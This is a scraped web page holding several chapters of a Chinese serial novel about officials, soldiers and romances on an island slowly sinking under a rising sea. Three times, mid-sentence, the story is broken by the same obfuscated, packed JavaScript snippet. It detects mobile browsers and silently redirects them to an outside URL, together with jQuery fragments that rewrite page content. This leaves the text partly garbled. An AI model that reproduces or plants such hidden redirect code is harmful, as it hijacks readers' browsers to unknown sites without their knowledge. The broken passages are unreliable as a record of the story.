“听说了吗?新上任的秘书长才二十多岁。咱们在这儿熬了这么多年,竟然来了个空降兵!” “那个周文涛也不知道走了什么狗屎运,竟然补了副首长的缺。这个叫齐观的当初就是他塞进来帮忙的,只怕当时就惦记着要抢这位子呢。” 两个上了岁数的声音刚结束,一个稍年轻些的声音就问道:“不过王处长到底怎么了呀?怎么一声不吭就辞职了?” “要说没有内情那谁都不信,只是怎么这次消息瞒得这么死?发了好多消息都没人回。” 人都抓起来了,当然是回不了消息的。齐观也不想给他们继续交流打探的时间,以免节外生枝,便直接推门进去。 她一进门,整间屋子顿时鸦雀无声。倒也不是因为这些人怕她,而是他们的眼神里都带着审视和不屑一顾,仿佛他们变着法儿地对付她几日,她就会哭着喊着要离开这是非之地。 齐观对这屋子也算熟悉,径直走向那张最靠里的大办公桌落座,往王淑红的电脑里输入了技术部门给的新密码后,翻看起了其中的文档。 众人见她既没有急着训话也没有怯场,心里都犯起了嘀咕,屋内静了许久也没人再讲话。 齐观仔细看了人事部发来的职工档案,又查了每周的汇报文件,对每个人的做事风格都了解之后才敲了敲桌子,吸引来所有人的注意。 “大家应该都已经知道了,秘书长一职由我接任。我叫齐观,虽然比在座各位都年轻,但工作场合还是叫我一声齐处长。我刚来,需要对大家手里跟进的工作有个了解,今天下班之前,所有人要把手中的工作写一份详细的进度总结发给我。” 在座的一共有五位职员,三女两男。岁数最大的一男一女约莫四十左右的年纪,一听这任务就挂了脸。 “我这手里还有不少事呢,一个总结而已,有什么好急的。”吴翠翠说。 孙丰田立马帮腔:“就是,北美这些人给我们添了多少乱,哪有空写总结啊。” 两个人一唱一和的,明摆着要和齐观作对。毕竟王淑红在这个位置上坐了这么多年,没几个衷心的狗腿子是不可能的。 齐观已经看过了他们日常的工作汇报,明明手里捏着秘书处的肥差要差,汇报文件却写得杂乱无章敷衍了事。这么急着拂她的面子,恐怕不只是不服她这个新领导。 “如果你们的工作做得清清楚楚,这个总结就花不了多少时间。今天下班之前,把总结发到我的邮箱。”齐观再次强调了时间点。 孙丰田朝没说话的三人嘀咕了一句:“我可没空。你们几个难道有空吗?” 那三人小心谨慎地相互对了个眼神,都没吭声,那两个看着更年轻的直接鸵鸟般地低下了头。 “淑红姐待你们也不薄,现在还不知道是出了什么事呢,等她回来了,有你们好看的!”吴翠翠说完就开始在工位上拿着文件夹摔摔打打的,一直弄出动静发泄自己的不满。 齐观知道她跟王淑红的最久,不仅是不服她这个新人,更不满秘书长这块肥肉没有落进她自己的口袋。 反正距离下班还有大半日,齐观便先顾着自己编书的事,至于对这些人的处置,等时间到了她再决定也不迟。 太阳已近正当空,睡饱了回笼觉的多吉先热了冰箱里的剩菜吃,又把屋子收拾干净,顺手拎了垃圾出门。 天气热,高温加速 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068923|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一切生物的活动,什么东西都坏得快,就连人也是。 昨天多吉从医院出来时,问了一嘴杰佛森的情况。护士说杰佛森的脊椎断损严重,修复手术复杂漫长,醒麻醉也需要一段时间,所以拒绝了所有队员的探视。 今天有一整天的假期,多吉便想着去碰碰运气,只是平时开的皮卡现在还停在军区的车库里,这一路走过去实在是晒得身上生疼。 多吉时常奇怪,都是在岛上从小晒到大的,怎么齐观就能长得那么白净。两人搂在一起的时候,就好像焦糖色的树皮裹着暖白色的树心。 到了医院,杰佛森的病房门口依旧守着几个队员,多吉刚要上前问问情况,却因白玛的横眉冷对放慢了步子。 白玛急步走上前,揪住多吉的衣领把他狠狠撞到了墙上。 “你还好意思来!如果不是你执意要救那个小男孩,给了那些人希望,他们根本就不会那么激烈地争抢绳梯,救援早就顺利结束了!队长也根本不会受那么重的伤!” “白玛你干什么!”里昂急忙上前拉开了白玛。 里昂昨天醒来就想感谢多吉和杰佛森涉险救他回来,没想到他俩一个高烧不醒,一个还没出手术室,根本没机会见到。然而多吉一来,他还没来得及说声谢谢就先拉起了架。 白玛依旧不依不饶地指责道:“杰佛森当时明明就没有求生的欲望,如果不是你执意要救他,他就能脱离这片苦海了。现在倒好,曾经那么威风的队长只能靠一个不灵活的机械脊椎生活,乌日娜也不在了,你让他怎么面对接下来的人生!” 多吉大病初愈,又顶着高温走了一路,脚下本就有些虚浮,这一撞身上更是难受。他虽懒得和白玛争执,但看向白玛的眼神还是有了几分怒意。 “多吉你也别生气。”里昂见状连忙挡在两人中间说和,“队长他醒过来之后确实状态不好,听医生说机械脊椎需要连接的神经太多,但目前能达到的精确度却十分有限,日后难免有些不灵活。而从前研究所里做人体机械最好的人就是乌日娜,所以队长他心里就更……” 里昂正说着,病房的门突然向外打开,钱章阴沉着脸站在门口。 “平时不都抱怨休假太少吗?现在还在这嚷嚷什么?没事干就都滚回去呆着。”他又一指靠墙站着的多吉,“你进来。” 多吉随着钱章进了病房,一天不见,病床上的杰佛森憔悴了不少。 杰佛森见了多吉,挤出一丝微笑说:“别听他们瞎说,我没事的。谢谢你救了我,当初把你招进机动队真是个再正确不过的决定。” 钱章赌气似的往旁边的陪护床上一坐,抱着胳膊说:“我不接受你的提议。北美的人已经不会再来了,你只用安排些巡防的事就行。为什么一定要辞任队长呢?” 杰佛森平静反问:“如果队长不能身先士卒,又怎么能服众呢?况且没有人祸还有天灾,我不想在关键时刻出问题,那样会害了队友的。” “可那也到不了非要离队的地步吧!”钱章烦躁地抓了抓头发,他实在接受不了三天之内失去自己的左膀右臂。 杰佛森不想再和钱章争执,便扭过头看向窗外,目光空洞无神。 “司令,抱歉了。我从二十岁就进入机动队服役,到现在已经九年了。我每天拼尽全力守护着这座终将没入海面的小岛,心里却越来越迷茫。从前还能靠着责任感勉强支撑,可现在这座岛上的所有人都已经与我无关了。” 22. 第22章 多吉没想到杰佛森的内心已坍塌至此,心中挽留的话也说不出口了。 “那你离开机动队之后又什么打算呢?”多吉问。 “如果……如果司令不愿意帮我的话……” 钱章一听这话就急了:“我怎么会不帮你呢?我刚才说的都是气话。”他皱眉思索,“等我想想有什么合适的位置,你也再考虑考虑。” 杰佛森松了一口气说:“哪里都可以,哪里都一样。” “不,你的每一天都是不一样的。”多吉走到杰佛森的床前,眼神明亮,语气认真,“我知道这座岛上的很多人都觉得自己像活在一间逐渐缩小的牢房,可我们每天经历的都是以前的人类从来没有经历过的。做地球人类文明最后的见证者不也是一种很独特的人生吗?我有时候甚至觉得这还挺浪漫的。” 杰佛森怔然,缓缓垂下头若有所思。从没有人和他说过这样的话,生活中偶尔遇到些性格乐观的人也不过是喜好及时行乐罢了。 “至于乌日娜的事,我确实很难劝慰你什么。易地而处,我也未必走得出来。但我还是希望你能珍惜你的生命,因为只有活下去,生命才会有再次灿烂的机会。” 多吉的语气无比诚恳,他明明长着一张硬朗的脸,却有一双温柔平和的眼睛。 没有人会忍心拒绝那样一双眼睛。 “我知道了。”杰佛森的声音微微颤抖,“谢谢你和我说这些。” 一室安静,一时间谁都没先开口。 钱章抱臂细想了一会儿,对着多吉正色道:“在你进来之前,杰佛森向我推荐由你来继任队长一职。本来我觉得你太年轻了,入队时间也短,现在看来倒是没有什么顾虑了。” 多吉完全没想到几句话就给自己揽了个重担,刚想推脱,钱章立刻把话堵了回去:“不许拒绝!一个两个的都不干了,那我也不干了!” 多吉眼神幽怨地闭了嘴,钱章瞪了他一眼又对杰佛森说:“现在老周和齐观都从档案中心调走了,确实比较缺人。那里人少书多,工作清闲,算是给你彻头彻尾地换个新环境,也换换心情。要是我下个月见你还是这副鬼样子,就算你再不灵活,我也还拿你当那个刚进部的臭小子一样揍!”说罢便扭过脸不看他。 这话虽说的狠,可杰佛森分明看到钱章的眼角有藏不住的泪光。也不知道是谁在他麻醉将醒未醒时,一直在他耳边念叨,回来就好,回来就好。 护士进门提醒两人探视时间到了,钱章便嘱咐:“你好好休息,我再去看看姚望宇,她伤得也重着呢。” 秘书处内,时钟指向五点半。 下班时间一到,吴翠翠和孙丰田立刻从座位上站了起来,大摇大摆地往外走。齐观瞟了一眼邮箱,果然只剩下他们两个没有发来总结。 “你们的邮件呢?”齐观抬眼问。 孙丰田跟在吴翠翠身后头也不回:“今天忙,明天再说吧。” 明明一下午都在电脑前放空摆脸色,竟也好意思张嘴胡诌。齐观用手一撑下巴,对着刚拐出门的两人说:“那你们两个明天不用来了,会有人通知你们转岗安排的。” 吴翠翠一听这话就像屁股拿炮崩了似的,火箭发射般地冲回到齐观面前。 “你个小丫头片子真以为自己能坐上这个位子吗?我们几个手里漏点关系就能把你拉下来,到时候就看到底是谁不用来了!” 秘书处是政府机关中最上下通达的部门,齐观自然信她是有几分本事的。而周文涛特意用王淑红的邮箱只公布了辞职和继任的消息,谢心白那边也找钱章借了人,把所有需要提审的人偷偷绑了去,把消息捂了个严实,就是要看看保护伞下站着的是人是鬼。 叛岛案一旦成功,得益者众多。既然已经捞完了大鱼,小虾米也得用细网抄了去。 “你放心,明天你自有要去的地方。”齐观淡定说完便不再理那两人,她看着电脑上来自郑溪的邮件,心里已经有了新的打算。 郑溪和这座岛上的大多数人一样,是优质基因组合出的人类,由政府抚养,不知道自己的基因源于谁。 她在齐观没进门的时候找吴翠翠套话,等她来了又说自己闹肚子,一个下午出去了三四趟。既没在工位上敲字让吴翠翠挤兑,又找机会完成了报告,真是两头不得罪。 那两个年轻的虽然写了总结,但质量相比郑溪还是差了些。像她这样没有靠山却有眼色有能力的人,最值得招揽。 齐观耳边仍不断传来吴翠翠耀武扬威的话语,实在是烦得很。她便把电脑一合:“你们继续在这儿闹吧,我要下班了。” 吴翠翠见齐观这么年轻却如此气定神闲地指派他们,渐渐觉出她背后不是有硬背景,就是知道什么内情。 “你等等。”吴翠翠不由分说地拉住齐观的胳膊,“把话说清楚再走,你到底想怎么样。” “哎呀。”齐观突然发出了一声机械的惊呼,明显是在碰瓷。 吴翠翠一愣,她明明没多使劲,身后的门却被“砰”地推开。 多吉已经换上了一身作战服,大步迈进屋内对着吴翠翠的肩膀胳膊一扣一拧,直接把她推到了一边。 “真准时。”齐观微微一笑,挽起多吉的胳膊直接离开了秘书处。 硬撑了一天的架子终于能松快了,还好提前发了消息让多吉来接她,不然又要多废许多口舌与他们周旋。 拉开皮卡副驾的门,齐观被眼前一大捧鲜花惊得愣在了原地。岛上一切鲜活的东西都很贵,更别说是这种风花雪月的浪漫。 多吉从齐观身后搂住了她,下巴搭在了她的肩上。“齐处长第一天上班辛苦了。我有一个不算好的好消息,和一个不算坏的坏消息,你想先听哪个?” 齐观一下就乐了,这不就是两个消息吗? “那就先听好的吧。”齐观抱起花深深地吸了一口气,粉玫瑰的香气萦绕在她的鼻尖。 “我被司令提拔为机动队的队长了,怕是有阵子要忙了。而且我和队里很多人也不是很熟,其实我心里是有些没底的。” 这好消息听着可怜巴巴的,齐观也有些替他担心。机动队里虽只有几十号人,但每人手里还管着大部队的训练和细碎的分职,肯定是各有各的脾气,就算多吉是个宽容又机灵的人,怕还是有不少苦头要吃。 “有难处就来找我,咱们商量着办。你别担心。”齐观哄道。 “那我想在被窝里慢慢商量。”多吉笑着亲了亲她的耳朵。 “跟你说正经的呢!”齐观一推他,自己先钻进了车里。 多吉绕到主驾驶上了车,启动了车子。 “那坏的呢?”齐观扭头看向多吉。 多吉长叹了一口气:“杰佛森伤退,司令准备把他调去档案中心。听司令说,档案中心本来就是给周副首调查高层做历练的,现在把杰佛森调过去就只负责接收文档,有了不少清闲的时间,让他好好休息。” 齐观不禁有些唏嘘,乌日娜给她的请柬她还小心收着,却没想到婚礼却变了葬礼。她盘算着,也许哪天路过档案中心可以顺便去探望杰佛森。 多吉打着方向盘继续说:“我今天去买花的时候碰见钱司令了,但我问他是买给谁的,他却支支吾吾 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“你怎么脑子里总是这些啊!我跟你说正事呢!”齐观拍打起起的手背,她顺嘴说出口的怎么好意思再重复。 “家里没有花瓶,我还得去买呢!再不买这花就蔫了。” “我去买。” “那……那晚饭还没去打呢,我都饿了。” “我去打。” 见多吉眼巴巴地等着,齐观低头扣起了手。 和岛上的大多数人不同,齐观不出生在这里,甚至还曾有过完整的家庭。 她对小时候的记忆已经模糊的很,只记得那时时常生病,爸爸妈妈即便在研究所忙得不可开交,也时常在她身边哄着她。 即便这世道再不太平,也总能搞来新鲜的吃食给她,养成了她贪嘴的小毛病。 然而这一切的幸福快乐在一场爆炸中戛然而止。 那天她正在家里睡得香甜,跟随爸妈做研究的学生哥哥浑身是伤地敲开了她家的门,连夜带她逃来了安塔岛。 她还记得在逃亡的车上,她朝火光冲天的研究所哭喊着,可带着她的学生哥哥一刻不停地开车,生怕被路上随处可见的强盗拦下,终于在他俩饿晕之前抵达了安塔岛的入检口。 学生哥哥报出了他自己和她父母的研究方向,求检查员给他们一次入岛测试的机会。小小的齐观饿得头晕眼花的,但还是啃着指头顺利通过了智商测验。 只是她上了岛之后就再也没见过那个学生哥哥,一个月之后,又在新闻上看到海水已经冲垮了她曾经居住的那片高原。 身边的同学早就有了相熟的玩伴,有好吃的好玩的从来不会叫她。她就这么孤零零地长大,直到遇到了多吉。 一开始,她只是不想再孤独下去了,可多吉是那样热烈地爱着她,渐渐地,她的心也没有那么封闭冷漠了。 但这情话齐观始终有些张不开嘴,明明亲密百倍的事都做过了。她也有些气自己,便硬着头皮开口:“亲……亲……” 支吾了半天,也没说出个所以然来,可她的胃是一分钟都等不了了,“咕噜”一声逗得多吉笑弯了腰。 “嗯,亲。”多吉探过身在齐观脸上亲了一口,“我去打饭,你先上楼垫一口。” “我没说……” “你说了,我两只耳朵都听到了。”多吉故意晃了晃脑袋逗齐观,“我今天晚上一定要听见你叫我亲爱的,你别想跑。” 然而到了夜里,从齐观嘴里冒出来的只有被撞得破碎的喘息声,多吉到底是没听见句完整的。 23. 第23章【连载中】 转天,吴孙两人果然像齐观预料的那样,查遍她的底细发现不是什么有根基的人,便还想着来耀武扬威。 结果没来得及嚷嚷两句,就直接被多吉派来的人扣下了。 齐观单独叫郑溪进了洽谈室透底,直言她这个处长是首长钦点的,让她安心跟着自己干。 她们理了一整天吴孙二人手里对接过的项目,揪出了好些疑点。吴翠翠那存着的好几本建筑设施报价单都被做过手脚,财务部报上来的账目更是随着假价格水涨船高。孙丰田管着的医药账单也是一本糊涂帐。 秘书处里和钱沾边的肥差都掌握在他俩和王淑红的手里,简直是一查一个准。 只有提前把人扣下,才能让他们少销毁点证据。 齐观理好了线索,赶在下班前亲自去了侦查队。刚上阶梯就碰见了等在一楼门口的钱章。 “司令又来给我们队长送花啊?”一个办案员捂嘴笑着路过。 钱章整了整衣服大方点头,雄赳赳气昂昂地站在人来人往的大门口,好像一只开屏的孔雀。 他一点都不介意被打趣,还笑着问:“你们队长在吗?” “在,忙了一天刚回来。这会儿应该在看笔录呢。” 钱章又点点头,还是原地站着没有去办公室的意思。 “司令不进去等吗?”办案员有些疑惑。 “不,我就在这儿,免得打扰她。” 侦查队里男性办案员的比例不低,齐观一下就明白了钱章的小心思。有他这个明晃晃的追求者在,别人休想趁着他不在的时候偷摸打谢心白的注意。 齐观和钱章打了个招呼就直奔谢心白的办公室。她叩响了房门,里面传来了短促的应声。 办公桌前的谢心白正皱眉盯着屏幕,长指入发,拢得刚刚及肩短发有些毛躁。桌子上摆满了各部门的存档和新收集的笔录,简直要把人埋起来了。 “来了。”谢心白一指旁边的沙发,“桌上有零食随便拿,我正在看你发给我的证据链,先稍微坐会儿吧。” 休息桌上的零食口味简直齐全的堪比小卖部,齐观想起那天她被关押,谢心白打的那满满两盒工作餐也都是选的肉多的菜,就知道谢心白肯定也是个贪吃的。 “不着急,本来也快下班了,我过来摸会儿鱼。”齐观喜滋滋地撕开了一包薯片,“话说钱司令现在正抱着花在门口等着呢,你不去看看吗?” 谢心白正经的小脸上升起几分红:“他非要在外边等,随他去吧。” 她又仔细看了一会儿证据说:“够判了,不过明天再抓吧,现在牢里都快塞不下了。审讯室也在连轴转,判完一批再抓一批。这两个人谋财不害命,估计会被调去最辛苦的那几个厂里吧。” 谢心白抽空拿起了水杯,眼睛依旧没离开屏幕。 齐观不禁问道:“那要是像肖蔷这样只是诱导犯罪的,应该也不会重判吧?” 谢心白“咕咚”一口把水咽下去,摇了摇头:“她自请去暴露区了,就在今天被放出去的那批。现在押送的车应该已经到隔离带了。” 火烧云燃到了天空的尽头,血红的云霞映照着大地。 暴露区拆掉了不少建筑,用于修建隔离带这道三米高的围墙,围墙之上还有一米多高的铁丝网。 走向隔离带的队伍里除了北美的人,还有不少肖蔷的熟人,有些问题项目还是经她手通过的。 肖蔷毫不留恋地随着队伍走向隔离带,因为她想要的东西都已经得到了。 来到了大铁门前,士兵递来一个小塑料盒,里面静静躺着一枚安乐死药丸。 让毫无野外生存能力的罪犯,也不至暴毙荒野,安塔岛从来尊重每一个人的结局。 肖蔷用大拇指挑开了塑料盒的盖子,静静看了几秒,准备直接倒进嘴里早早了结,却听见身后传来一声尖锐急促的刹车声。 “肖蔷!” 她闻言回头,周文涛摔上车门朝她跑来。 他忙了一天才注意到新闻中的重犯公示,原本只是随意点开查看,可当他看到肖蔷的名字赫然列在流放犯的名单之中,心脏顿时抽疼了一下。他以为她的所作所为再怎么重判,也不过是被换去不太核心的工作,甚至连厂房都不用去。 周文涛一路油门踩到底,终于还是赶上了她的背影,又或者说从来没有追上过她的背影。 “为什么?为什么要出保护区?”周文涛拦在了肖蔷面前,把她拽出了队伍,“我问过法院了,他们说根本没有审理你的案子,是你自己要走的对吗?” 肖蔷偏过头,避开了他的视线。 昨天她自请离开保护区,获得了亲友探视的机会。肖薇在她面前哭闹了好大一通,时间到了被士兵拖出去的样子还历历在目。她叮嘱肖薇不要来送自己,以后一个人好好生活,没想到在离开之前竟还有这位老友来送她。 但肖蔷的表情上并没有几分动容,淡然开口:“你不是知道吗?胃癌。我不想每天活得又累又痛,还不如死得痛快些。” 肖蔷一句话驳回了周文涛心中所有挽回她的希望,他松开了握住肖蔷胳膊的手,灰败地垂下头:“你怎么就会变成这样了呢?” 肖蔷轻笑了一声:“也许你从来没有看清过我。” 两人无言对立,士兵见天边的红霞即将燃尽,上前催促了一句。 肖蔷即刻迈步跟上,留周文涛一个人注视着她的背影。 从学生时代起,周文涛就时常仰望肖蔷的背影。她是出色的学生代表,是舍命救人的英雄,是安塔岛史上最年轻的副首长。而他只是在实验室埋头苦干的“科学怪人”,斗不过那些抢他功劳的吸血虫,被赶去档案中心当了多年的闲人。 这些年他学着她的样子,拼命成长,才知道她的来时路竟是如此艰辛。换做是他在肖蔷的位置,遭受过数不清的明枪暗箭,也不一定能坚守本心。 时间是一把无比缓慢的刻刀,当人注意到它的动作时,痕迹已经永远地留在了人的身上。 肖蔷的身形因为病痛比前些年消瘦了许多,头上也有了几丝白发,这些都是周文涛不曾留意的。时间一刻不停地前进着,是他一个人固执地守在原地。 走了没多远,肖蔷便在分割两区的巨大铁门下停下了步伐。 西边最后一缕阳光斜打在铁门与围墙之上,头顶的影子好像死神巨大的镰刀横劈在两人之间。 肖蔷终究还是没忍住,回头道:“如果可以的话,替我常去看看肖薇,就当作是我的遗愿了。”说罢,她便转过头坦然离去。 铁门缓缓合上,门边撞在铁门框上“当啷”一声,关闭了天与地最后一丝光亮。 办公楼的灯也灭了一盏又一盏,谢心白看着堆积如山的工作,叹了口气说:“今天晚上又要交代在这了,要不先吃饭吧。” 在一旁帮忙看笔录的齐观猛地抬头:“坏了,钱司令是不是还在外面等着呢!” 谢心白一拍脑门慌忙站了起来,快步走向办公室门口,刚要迈出去又往后退了两步。 她停在档案柜前,对着反光的玻璃顺了顺头发。忙了一天的脸色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15082148|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十分疲惫,谢心白又从办公桌里拿了支口红涂了涂。 “我看起来怎么样?”她转身问齐观。 谢心白长得偏甜美,是一脸的乖巧像,但眼尾和嘴角微微上挑,细看才能觉出她的机灵感。 口红尖几乎还是原状,一看就是新买的。从前齐观只以为钱章是剃头挑子一头热,没想到竟是两厢情好。 “很好看啊。”齐观有些好奇地问:“你是不是对司令也有意思呀?” 谢心白抿了抿唇,有些羞涩地开口:“其实我们这些有军职的人都很佩服司令,他上任的这几年铁腕治理军中纪律,还惩处了不少贪官污吏。我刚参加工作的时候在礼堂听了他的讲座,那时远远看着只觉得很崇拜,没想到现在……” 齐观笑着问:“那我是不是还能算你俩的红娘啊?” “当然!”谢心白又抓了两把零食塞在齐观手里,“我这有好吃的都给你留着,你想吃随时来。” 齐观也没有推诿,开心地收下了,这还是她第一次交到同龄的朋友。 “那下次有好吃的我也给你带。”齐观笑着说。 两人出了办公室,下楼往大门口走。 “你准备什么答应他呀?”齐观兴奋地问。她好像回到了学生时代,有了和自己聊闺中密语的女同学。 谢心白神秘一笑,贴近齐观的耳朵小声说:”越是骄傲的男人越得多吊一阵,精髓就在于打一个巴掌给一个甜枣。” “你不是对人家有意思吗?你也舍得?” 谢心白一抬下巴:“这有什么舍不得的?一辈子那么短,我一定要让他对我一直死心塌地。” 在大门口等到天黑的钱章终于听见了熟悉的脚步声,他拢了拢已经微微发蔫的郁金香花束,重新抖擞精神迎接谢心白。 “那我就不打扰啦。”齐观笑着从二人身侧溜走了。 钱章捧着花小心翼翼走向谢心白,低头柔声说:“你说玫瑰太俗,百合太淡,那郁金香呢?你喜欢吗?” “还好吧,黄色的倒是看着亮堂一点。”谢心白浅笑着接过花。 一句不咸不淡的夸奖让钱章的心再次悬了起来。三十五年的人生里他也算见过不少女人,从军的英姿飒爽,从政的运筹帷幄,行医的仁心仁术。 各花入各眼,他偏偏就是喜欢眼前这只浑身长满了心眼的小狐狸。爱情真是个奇妙的东西,他再也不说自己的下属是大情种了。 “你是不是不太喜欢花啊?要不我送你点别的?”钱章试探地问。 “没有不喜欢,你送我的花我都摆在家里了。”谢心白低头捏了捏那花瓣,手指上也沾上了香气。 “那我明天还来给你送。”钱章伸手小心握住来谢心白拈花的手,他第一次摸枪的时候都没有这么紧张。 谢心白不动声色地抽回了手:“那还是别送了,这花又不能吃。” 钱章这才反应过来天都黑了,她忙了一天肯定饿坏了。 “我带你去吃饭吧,隔壁街的馆子更新了菜单,要不去尝尝?” “我哪有吃饭的心思啊,还有一堆工作等着呢。”谢心白撇嘴看向了别处。 钱章以为这就是拒绝了,有些灰心地放下了手。 谢心白在他看不见的角度勾了勾唇,抬头嗔怪道:“一会儿吃完饭,司令和我一起回来看线索和笔录吧。这工作可是你安排给我的,你可得负责到底啊。” 钱章连忙笑着应下,领着谢心白出了门。几番对话下来,他这心里头就像坐了过山车一样,这下总算是到站了。 24. 第24章 正是各司职员下班的高峰期,街上也还算是热闹。为了避免员工在大热的天气长时间通勤,员工宿舍基本都盖在离工作的地方步行十分钟之内的地方。 此时街上走着的基本都是涌向食堂就餐的人,就餐潮一过去,街上就会重归于平静,只剩几个小酒馆营业。 齐观吃了不少零食还不太饿,拿着谢心白新给她的这几包和她在店铺新买的糖果去了校区食堂。 雨季已经过去,薛洋洋也升入了二年级。岛上出生的新生儿数量随着土地面积每年减少,一个年级也不过几十个人。 其他桌的小朋友都热热闹闹的,薛洋洋一个人坐了一桌,乖乖地用勺挖饭,米粒沾到了嘴边,就用手捏下来放进嘴里。 熟悉的酸涩涌上齐观心头,她记得她刚刚上岛时也是这幅光景。 “洋洋,看姐姐给你带了什么。”齐观拎着袋子在薛洋洋的面前晃了晃,紧贴着她坐了下来。 薛洋洋的小脸从餐盘上猛地抬起来,却并没有太注意零食袋,而是扔下勺子,双臂直直抱向了齐观的腰。 “姐姐。”薛洋洋的声音瓮声瓮气的,没有以前那么活泼了。 “怎么了?班里有人欺负你吗?” “没有。”薛洋洋轻轻摇头,“想姐姐。” 最近一个多月,齐观实在是忙得抽不开身,来看薛洋洋的次数也少了些。虽然偷偷给带教老师塞了一张购物卡,但只能让薛洋洋少受欺负,不能强拉来玩伴。 偏偏这孩子把她给的东西看得比什么都重,一点也不愿意分享。 在安塔岛上,友情易得,爱情可贵,亲情则是上天的礼物。齐观知道薛洋洋已经把自己看作是真的姐姐了,也不好再批评她什么。 自从齐观得知肖薇是肖蔷收养的孩子,便明白了肖蔷为何要参与叛岛案。 一个人如果孤独太久,任何一粒情感的种子都会长成参天大树。树根和自己的血肉紧紧长在一起,即使自身的土壤已经贫瘠,也要想尽办法供养这棵用生命浇灌的大树。 慎重思考后,齐观放弃了收养薛洋洋的想法。她现在更多的是来送些吃的,毕竟小孩子之间的妒忌和比较往往是最伤人的,每日用的东西若是搞得太特殊,可能会让薛洋洋更受孤立,也会更依赖她。 齐观轻抚着薛洋洋头发,柔声说:“姐姐给你带的零食,如果你实在不愿意分给别人,就自己偷偷藏好知道吗?” 薛洋洋开心地点头,咧开缺了两颗下牙的嘴朝她笑得灿烂。她重新抓起饭勺准备吃饭,因为她记得齐观说过,要吃完饭才能吃零食。 齐观欣慰地看着薛洋洋,却见她又放下勺子,兴奋地朝食堂门口挥起了手。 远处是一个十三四岁棕色皮肤的小男孩,怯怯地抬手回应了薛洋洋后便低头去打饭了。 “那是谁呀?”齐观问。 “卡卡,朋友。”薛洋洋开心地答道。 齐观记得多吉说他救回来的那个小男孩就叫卡卡,怕他被同龄的孩子欺负,就给他安排了走读,原来竟和薛洋洋在一个班。 卡卡打好了饭,默默坐在了薛洋洋对面。 齐观见他身上好几处还缠着纱布,颧骨和指节上还受了些新伤,涂着药水,直到食堂快关门了才独自前来,便问:“是有人欺负你吗?” 卡卡摇了摇头,指了指远处初中部的桌子。 那里有几个男孩身上裹着纱布涂着药水,正又气又怂地盯着卡卡。 齐观见他们伤得重多了,便说:“卡卡,欺负别人也是不对的哦。” 卡卡的长睫毛眨地快了些,微微撇嘴似乎有些委屈,但还是什么都没说,只是摇了摇头。 “卡卡没有,他们骂……呃,坏话。”薛洋洋急得双手攥拳帮他解释。 齐观顿时明白是自己误会了,卡卡长期过着被奴役的生活,解决问题的办法只有诉诸暴力。估计是那几个坏小子见他俩一大一小看着奇怪,故意挑衅了。 “抱歉,我不该那么说。我叫齐观,下次我也给你带零食吃好不好?” 让齐观意外的是,薛洋洋大方地拿出一袋塞在了卡卡手里,她没想到两个人已经玩得这么好了。 “齐观……”卡卡轻轻放下了零食,眨巴着大眼睛她,一字一句认真地说:“多吉,让我保护洋洋。” 齐观不由得一愣,之前她向多吉提过一嘴她有些担心薛洋洋的事,没想到他已经悄悄安排好了。 只不过岛上的孩子都是优选基因的产物,课业难度可想而知。听多吉说卡卡只会简单的中文和算数,就算是二年级的课程跟起来应该是很吃力的。 “课上讲的东西都听得懂吗?实在困难的话有些课可以去一年级旁听。” “没有一年级。”卡卡摇了摇头,见齐观一副没听懂的样子,他又重复了一遍,“没有一年级。” 齐观回头看向旁边空着的就餐区,又环顾四周,发现确实没有更小的孩子了。 她心里觉得奇怪,就算是岛上要削减人口也不会直接停止生产新生儿吧。 一阵饿意上涌,齐观心里先压下了这个疑问,对薛洋洋叮嘱道:“一会儿吃好了饭就乖乖和老师回宿舍,知道吗?”又对卡卡说:“你自己一个人回部队的住处也注意安全。” 见两个人都乖乖点头,齐观放心地前往自己的员工食堂。可到了才想起来自己出办公室的时候什么都没拿,她的饭卡和钥匙都不在身上,只好先返回去取。 幸好没有多远的路,齐观进了办公楼,一楼只留了几盏应急灯给加班的人,显得有些昏暗。 齐观默数着电梯显示屏上的数字,心里盘算着一会儿去了食堂要点什么菜。居民的工卡绑定着职位信息,也就绑定了相应的待遇,现在齐观每顿都可以领一格肉菜,肉源是岛上圈养的家禽。 以前她的蛋白质摄入基本是海里随便捕上来的杂七杂八的辐射鱼,一番搅打后压成的鱼肉饼,若是处理不好还时常散发出一股腥味。 正当她心无杂念地期待晚饭时,电梯门“唰”地打开,窗边的一个黑影吓了她一跳。 齐观定睛一看:“老周?” 周文涛木讷地看着窗外,并没有回应齐观。 齐观走上前,见周文涛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15086146|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手里握着个小酒杯,窗台上还立着一瓶威士忌。 